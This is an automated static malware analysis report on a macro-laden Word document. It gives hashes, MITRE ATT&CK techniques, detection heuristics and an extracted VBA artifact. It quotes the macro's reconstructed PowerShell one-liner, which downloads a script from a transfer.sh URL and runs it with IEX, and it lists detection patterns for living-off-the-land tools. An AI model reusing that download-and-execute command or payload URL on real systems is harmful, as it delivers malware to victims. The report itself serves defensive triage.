Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 beec3311664deb90…

MALICIOUS

Office (OLE) / .DOC

87.0 KB Created: 2022-01-05 23:42:00 Authoring application: Microsoft Office Word
MD5: bf2918632c689bf8e978b522d4636e57 SHA-1: 046dc19bfd01a663b200842e7abb03dd277111bd SHA-256: beec3311664deb90a7e15a449b544a0a0a1ddf4e469486c2dda4f2fe0bb259f5
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic

The sample is a malicious DOC file containing VBA macros. The macro `id_022A` constructs and executes a PowerShell command. This command reconstructs the string 'powershell $BLIVE = \'(New-Object Net.WebClient).DownloadString(\'https://transfer.sh/get/2GAa8V/newfillee.ps1\')\'|IEX' which downloads a PowerShell script from `https://transfer.sh/get/2GAa8V/newfillee.ps1` and then executes it. This indicates a downloader or dropper functionality.

Heuristics 7

  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://transfer.sh/get/2GAa8V/newfillee.ps1
    • http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
2b70e79557950a9e868a72a2a409289d59a371ebf4e511cb25f21280fec40036		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 1683 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).

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